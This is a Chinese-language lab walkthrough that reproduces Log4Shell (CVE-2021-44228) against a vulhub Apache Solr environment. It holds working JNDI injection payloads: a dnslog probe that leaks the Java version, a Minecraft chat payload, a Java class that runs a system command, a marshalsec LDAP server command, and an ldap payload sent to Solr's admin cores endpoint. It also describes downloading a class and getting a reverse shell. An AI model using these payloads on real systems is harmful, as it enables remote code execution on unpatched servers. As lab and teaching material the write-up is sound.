Log4j 2.x:
- Log4j 2.x 版本在 2021 年发现了一个严重的 JNDI 注入漏洞(CVE-2021-44228),也称为 Log4Shell 漏洞。该漏洞允许攻击者通过 JNDI 查找恶意代码来远程执行代码,影响范围广泛。这个漏洞在 Log4j 2.0 到 2.14.1 版本中存在,并已在 2.15.0 及后续版本中得到修复
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码
JNDI简单介绍
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
漏洞验证:
一般来讲log4j的漏洞,是一种严重的漏洞,因为他覆盖面广,使用广泛,因此可以看到我们对于log4
j,一般都是在一些大型的服务器上的安装的组件的上面去验证。
漏洞分析:
最主要还是 log4j 可以通过特定的形式例如:${}来进行一个查询替换的功能,例如我们的环境变量。因此还可以暴露敏感信息。但是他不仅可以查找变量进行替换还可以使用 ,jndi的查询服务可以查询目录和命名服务。之后就可以利用rmi或者ldap去访问我们的web服务器上的相关class文件,下载之后执行再反弹shell回到我们的攻击机器。
以minecraft为例
Minecraft服务器是专门为Minecraft游戏设计的,它们允许玩家在Minecraft游戏中进行多人游戏和互动。这些服务器使用特定的Minecraft服务器软件来运行,这些软件是为支持Minecraft游戏而开发的。具体来说,Minecraft Java Edition使用的服务器软件称为Minecraft: Java Edition Server,而Minecraft Bedrock Edition(如手机版、Windows 10版等)使用的服务器软件称为Minecraft Bedrock Edition Server。
因此,Minecraft服务器不是通用的服务器,不能像一般的Web服务器或游戏服务器那样用于其他用途。它们专门设计用于运行Minecraft游戏,管理游戏世界、玩家互动和游戏规则。
因此我们需要一个相应版本的启动器。然后连接服务器在游戏中输入我们的payload。${jndi:ldap:ip/a} 下载对应的web服务器上的payload从而getshell
不同服务器
不同环境依赖,不同服务器对于log4j 记录接口是不一样的。因此可能触发点虽然都是${}但是我们输入的位置和接口不一样,要随机而变。
漏洞复现
根据vulhub 官方给出的漏洞环境进行复现。
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
1 | docker compose up -d |
服务启动后,访问http://your-ip:8983
即可查看到Apache Solr的后台页面。可以看到这就是
Apache Solr 是一个可以作为服务运行的应用程序。它通常以服务器模式运行,接受来自客户端的搜索请求,并返回搜索结果。Solr 提供了一个 HTTP 接口,可以通过 RESTful API 进行操作。这使得 Solr 可以方便地与其他应用程序集成,通过 Web 请求进行数据索引和搜索查询。
Solr 还支持配置为集群模式,以处理大规模的数据和高负载的搜索请求。它具有许多功能,如分布式搜索、实时索引、负载均衡和自动故障转移,适用于大规模和高性能的搜索需求
验证
一般验证都是用dnslog
1 | {jndi:dns://${sys:java.version}.example.com} |
在 Log4j 中,${sys:java.version}
是一种使用变量替换的语法,用于在日志配置文件中插入动态值。
${sys:java.version}
是一个占位符,表示 Log4j 会用实际的系统属性值来替换它。sys
表示这是一个系统属性的占位符。java.version
是要替换的具体系统属性的名称。
在这个例子中,java.version
是一个 Java 系统属性,它包含了当前运行的 Java 版本信息。Log4j 会在解析配置文件时用这个系统属性的实际值替换 ${sys:java.version}
。
此时我们的环境已经起来了,可以看到这个就是solar admin系统。我们需要找到log4j记录的地方,
核心
在 Apache Solr 中,/solr/admin/cores
是 Solr 的一个管理路径,用于操作和管理 Solr 的“cores”(核心)。以下是这个路径的主要用途:
主要功能
列出核心:
- 访问
http://<host>:<port>/solr/admin/cores?action=STATUS
可以查看当前 Solr 实例中的所有核心及其状态。
- 访问
查看核心状态:
- 提供核心的运行状态、配置信息和统计数据,帮助监控和管理 Solr 的各个核心。
管理核心:
- 通过这个路径,你可以执行各种管理操作,比如重新加载、卸载、创建新核心等。例如:
http://<host>:<port>/solr/admin/cores?action=RELOAD&core=<core_name>
用于重新加载指定核心。http://<host>:<port>/solr/admin/cores?action=UNLOAD&core=<core_name>
用于卸载指定核心。
- 通过这个路径,你可以执行各种管理操作,比如重新加载、卸载、创建新核心等。例如:
示例使用
列出所有核心:
Copy Code
http://<host>:<port>/solr/admin/cores?action=STATUS
这将返回一个 JSON 格式的响应,包含所有核心的详细状态信息。
重新加载核心:
Copy Code
http://<host>:<port>/solr/admin/cores?action=RELOAD&core=my_core
这将重新加载名为
my_core
的核心,适用于配置变更后需要重新加载核心的情况。
如何访问
确保 Solr 实例正在运行,并且你能够通过指定的主机和端口访问 Solr。访问 /solr/admin/cores
可以帮助你进行核心的监控和管理工作,是 Solr 系统管理中的重要一环。
Solr 的查询记录和其他重要事件通常会被记录在 log4j 日志中。Solr 使用 log4j 进行日志记录,具体的日志记录位置和详细程度可以通过 log4j 配置文件进行设置。查询记录、错误信息、系统状态等会被写入到指定的日志文件中,帮助你监控和调试 Solr 实例。通过这一点,我们可以触发${}进行替换触发。
利用链
dnslog验证
1 | /solr/admin/cores?action=${jndi:dns://${sys:java.version}.45046de8.log.dnslog.biz.} |
很明显利用成功。
既然证明存在现在我们的想法肯定是想利用ldap服务器进行一个rce,因为jndi查询服务不仅可以查询dns服务还可以查询ldap服务。ldap又可以访问我们的web服务。从而让服务器下载对应的恶意web
java class文件从而执行
rce
准备恶意文件
1 | package org.com.test; |
Runtime.getRuntime().exec("calc");
:Runtime.getRuntime()
返回当前应用程序的运行时对象,该对象允许应用程序与运行环境进行交互。exec("calc")
方法用于执行指定的系统命令。在 Windows 操作系统上,"calc"
是启动计算器的命令。因此,这行代码试图启动计算器应用程序。- 如果你在其他操作系统上运行这个代码(比如 macOS 或 Linux),
"calc"
可能不会有任何效果,因为计算器的命令在不同操作系统上是不同的。
catch (IOException e)
:IOException
是一个异常,表示在输入或输出操作中发生了问题。在这里,它用于捕获exec
方法可能抛出的异常(例如命令无法执行或文件无法找到)。e.printStackTrace();
用于打印异常的堆栈跟踪,以帮助调试和找出错误的具体
先开启一个web服务 ,之后利用工具创建ldap服务器之后开始攻击。
准备ldap
我们需要使用jndi找到ldap服务,之后使用ldap的功能去访问我们的web服务器。
完事具备就差ldap服务器 | **开启LDAP服务 |
---|
1 | java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:1234/#log4j 1389 |
这个可以直接确定ldap端口和ldap响应的url
我们必须在class文件中省略 class后缀只能用#名字
Listening on 0.0.0.0:1389
已经启动此时我们需要直接触发链条
***payload
1 | /solr/admin/cores?action=${jndi:ldap://127.0.0.1:1389} |